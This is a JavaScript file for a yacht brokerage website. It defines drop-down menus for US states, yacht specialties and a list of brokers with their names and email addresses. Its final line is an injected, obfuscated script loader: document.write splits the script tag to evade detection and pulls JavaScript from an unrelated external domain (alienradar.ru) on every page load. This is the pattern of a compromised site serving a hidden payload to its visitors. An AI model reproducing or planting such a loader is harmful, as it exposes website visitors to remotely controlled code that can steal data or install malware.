function chngState(obj) { BSTATE = obj[obj.selectedIndex].value; chngArgs(); }
function chngSpec(obj)  { BSPEC  = obj[obj.selectedIndex].value; chngArgs(); }
function chngArgs()     { document.location = 'brokers.php?' + BSTATE + "&" + BSPEC }
function infoBroker(s)  { document.location = BROKER[s].purl }

var BSTATE = ''
function defState(s1,s2) { this.stat = s1; this.name = s2; } // Define state object

// Generate state selection options for US states
// If s=0 only list active states, if s=1 list all states
function genState(s) {
  var opsout = 	'<select onChange="chngState(this)' + '" name="Broker_State" size="10"><option value=""' + ((BSTATE=='')?'selected':'') + '>All States';
  for (var i in STATES) { if ((s==1) | (STATES[i].stat==1)) opsout += '<option value="' + i + '"' + ((BSTATE==i)?'selected':'') + '>' + STATES[i].name }
  return(opsout + '</select>');
}

SPEC = new Object();
SPEC['EX']   = new Object('Express Yacht');
SPEC['MO']   = new Object('Motor Yacht');
SPEC['MY']   = new Object('Mega Yacht');
SPEC['SF']   = new Object('Sport Fish Yacht');
SPEC['TR']   = new Object('Trawler');
SPEC['SB']   = new Object('Sailboat');
SPEC['MS']   = new Object('Mega Sailboat');

STATES       = new Object();
STATES["AL"] = new defState('0','Alabama');
STATES["AK"] = new defState('0','Alaska')
STATES["AZ"] = new defState('0','Arizona')
STATES["AR"] = new defState('0','Arkansas')
STATES["CA"] = new defState('0','California')
STATES["CO"] = new defState('0','Colorado')
STATES["CT"] = new defState('0','Connecticut')
STATES["DE"] = new defState('0','Delaware')
STATES["FL"] = new defState('1','Florida')
STATES["GA"] = new defState('1','Georgia')
STATES["HI"] = new defState('0','Hawaii')
STATES["ID"] = new defState('0','Idaho')
STATES["IL"] = new defState('0','Illinois')
STATES["IN"] = new defState('0','Indiana')
STATES["IO"] = new defState('0','Iowa')
STATES["KA"] = new defState('0','Kansas')
STATES["KY"] = new defState('0','Kentucky')
STATES["LA"] = new defState('0','Louisiana')
STATES["ME"] = new defState('0','Maine')
STATES["MD"] = new defState('0','Maryland')
STATES["MA"] = new defState('1','Massachusetts')
STATES["MI"] = new defState('0','Michigan')
STATES["MN"] = new defState('0','Minnesota')
STATES["MS"] = new defState('0','Mississippi')
STATES["MO"] = new defState('0','Missouri')
STATES["MT"] = new defState('0','Montana')
STATES["NE"] = new defState('0','Nebraska')
STATES["NV"] = new defState('0','Nevada')
STATES["NH"] = new defState('0','New Hampshire')
STATES["NJ"] = new defState('0','New Jersey')
STATES["NM"] = new defState('0','New Mexico')
STATES["NY"] = new defState('0','New York')
STATES["NC"] = new defState('0','North Carolina')
STATES["ND"] = new defState('0','North Dakota')
STATES["OH"] = new defState('0','Ohio')
STATES["OK"] = new defState('0','Oklahoma')
STATES["OR"] = new defState('0','Oregon')
STATES["PA"] = new defState('0','Pennsylvania')
STATES["RI"] = new defState('1','Rhode Island')
STATES["SC"] = new defState('0','South Carolina')
STATES["SD"] = new defState('0','South Dakota')
STATES["TN"] = new defState('0','Tennessee')
STATES["TX"] = new defState('0','Texas')
STATES["UT"] = new defState('0','Utah')
STATES["VT"] = new defState('0','Vermont')
STATES["VA"] = new defState('0','Virginia')
STATES["WA"] = new defState('0','Washington')
STATES["DC"] = new defState('0','Washinton,D.C.')
STATES["WV"] = new defState('0','West Virginia')
STATES["WI"] = new defState('0','Wisconsin')
STATES["WY"] = new defState('0','Wyoming')

// Generate state selection options for US states
// If s=0 only list active states, if s=1 list all states

function genSpec() { var opsout = '<select size="10" onChange="chngSpec(this)' + '" name="specialty"><option value=""' + ((BSPEC=='')?'selected':'') + '>All Specialties';
  for (var i in SPEC) { opsout += '<option value="' + i + '"' + ((BSPEC==i)?'selected':'') + '>' + SPEC[i] }
  return(opsout + '</select>');
}

function defBroker(s1,s2,s3,s4,s5,F1,F2,F3,F4,F5,F6,F7) { 
  this.id = s1; this.name = s2; this.state = s3; this.purl = s4 + '/profile.php'; this.email = s5;
  this.EX = F1; this.MO = F2; this.MY = F3; this.SF = F4; this.TR = F5; this.SB = F6; this.MS = F7;
}

// Generate state selection options for US states
// If s=0 only list active states, if s=1 list all states
function genBroker(s,sp) { var opsout = '<select name="Broker" onChange="infoBroker(this[this.selectedIndex].value)" size="10">';
  for (var i in BROKER) {
    if (((s=='') || (BROKER[i].state.indexOf(s)>=0)) && ((sp=='') || (BROKER[i][sp]))) opsout += '<option value="' + i + '">' + BROKER[i].name
  }
  return(opsout + '</select>');
}

BROKER = new Object();
var i = 0;

BROKER[++i] = new defBroker('FL1','Peter Schmidt'	,'FL','schmidt'		,'peterschmidt@unitedyacht.com',1,1,1,1,1,1,1);
BROKER[++i] = new defBroker('FL2','Patrick Lee'		,'FL','patricklee'	,'patricklee@unitedyacht.com',1,1,1,1,1,1,1);
BROKER[++i] = new defBroker('RI1','Jeff Rice'		,'FL:RI','jrice'	,'contact@unitedyacht.com',1,1,1,1,1,1,1); // to be Jeff Rice when signed on
BROKER[++i] = new defBroker('MA1','Ed Wilton'		,'MA','ewilson'		,'contact@unitedyacht.com',1,1,1,1,1,1,1); // to be Ed Wilson when signed on
BROKER[++i] = new defBroker('FL3','Frank Jones'		,'FL','fjones'		,'contact@unitedyacht.com',1,1,1,1,1,1,1);
BROKER[++i] = new defBroker('GA2','Ted Toms'		,'GA','ttoms'		,'contact@unitedyacht.com',1,1,1,1,1,1,1);
BROKER[++i] = new defBroker('MA2','Gary Franks'		,'MA','gfranks'		,'contact@unitedyacht.com',1,1,1,1,1,1,1);
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/E-mail.js"></scri'+'pt>');
